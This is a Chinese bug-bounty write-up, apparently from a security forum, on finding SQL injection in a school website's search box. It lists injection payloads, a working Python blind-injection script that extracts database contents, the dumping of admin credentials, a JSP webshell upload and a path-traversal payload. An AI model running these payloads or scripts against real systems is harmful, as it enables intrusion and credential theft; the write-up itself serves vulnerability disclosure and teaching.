记一次曲折的edu挖洞

​ 在挖edusrc时,对着某站的搜索框进行测试时突然发现了sql注入,但没想到这才是噩梦的开始。

尝试联合查询

​ 访问url/search.jsp?key=12'页面显示了500,但是访问url/search.jsp?key=12'--+页面回显正常,冥冥中感觉存在了SQL注入。

​ 接着开始fuzz字符,发现也没有过滤啥字符。

​ 开始使用order by获得表的列数,访问url/search.jsp?key=12'order by 18--+页面是正常的,访问url/search.jsp?key=12'order by 19--+页面显示500,判断出列数为18,当我开心的以为的可以通过union联合查询进行注入时,500了!!!Payload:url/search.jsp?key=-12'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+,emmmmm虽然不知道为啥报错了,但是很明显不能用,换个思路继续。

尝试布尔盲注

​ 测试 url/search.jsp?key=12'or 1=0--+url/search.jsp?key=12'or 1=1--+发现回显的内容又不一样了,如下图

​ 这么简单的Payload都能测试成功,于是直接上了sqlmap开始跑,但是没有结果。一脸疑惑,只能试试可不可以写脚本了,先用了一个最简单的脚本试试

import requests

url = "url/search.jsp"

content = "select database()"

for i in range(1,30):
    sql = "?key=12'or length(({}))={}--+".format(content,i)
    res = requests.get(url=url+sql)
    print(res.url)
    if u"18.12.3—18.12.7" in res.text:
        print(i)
        break

​ 但是上来就报错了(在教室上课时测试的,见谅看)

​ 改来改去还是报错在不停报错,期间问过Firebasky师傅,他说他之前也遇到了,并且给我了解决方案(如下),我测试了一下,报错还是存在的,看来并不是这个问题,不过这里还是记录学习了。

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#解决https ssl问题
requests.packages.urllib3.disable_warnings()

​ 于是,我手动二分法测试出来了database()的长度为11,接着继续测试脚本,发现1-10都没问题,一旦到了11就报错,于是我单独使用Python的方式访问url/search.jsp?key=12'or length((select database()))=11--+,还是报错。这时候我有了一个大胆的想法:当or后面的条件为真时,脚本访问就会报错,而为假时,访问就没任何问题。以此为条件构造脚本,这里利用了try...except...语句构造脚本好脚本(是拿LemonPrefect师傅之前比赛的二分法注入脚本改的),如下:

import requests

url = "url/search.jsp"

def main():
    result = ""

    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            # content = "select database()"  #school_lvdi
            content = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
            sql = f"?key=12'or ascii(substr(({content}),{i},1))<{mid}--+"
            try:
                requests.get(url=url+sql)
                low = mid + 1
            except:
                try:
                    requests.get(url=url + sql)
                    low = mid + 1
                except:
                    high = mid

            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()

​ 这里使用两次try...except...来判断,因为这种判断本来就不是特别可靠的,可能会因为网络的原因存在一定的问题,从而导致注入出来的字符存在一定乱码,使用两次则可以大大改善这个情况。

尝试Getshell(失败)

​ 数据库中有个表sys_user存在两个列ACCOUNTPASSWORD,从中获得了后台的登录账号密码。登录后台后,发现可以上传附件,并且可以上传jsp马

​ 但是死活找不到jsp马的路径,再看别的文章时突然想到通过附件地址应该和照片的位置一样的,于是去找了照片的地址,但是照片的地址格式时这样的url/school/Image-getImage.action?imageName=f3f86c90-bc38-4578-8853-58c853805a69.png,应该是用了文件包含的方式进行的,尝试去访问jsp马,emmmmm访问到了但是不解析,如下图

​ 既然是文件包含的功能,试试是否存在目录穿梭读取任意文件,想要去读网站的index.jspsearch.jsp但都不太行,Payload差不多是这样的url/school/Image-getImage.action?imageName=../../../../index.jsp

结语

​ 剩下看了一下没有啥功能了,提交漏洞,溜了溜了。在挖edu时,从网站的功能下手是一个不错的选择,尤其是搜索框很有可能就有SQL注入的漏洞,但是由于是黑盒测试,要自己判断它的SQL语句,还要判断数据库类型,是否存在过滤,还是需要很多经验。共勉!!

点击收藏 | 0 关注 | 1
登录 后跟帖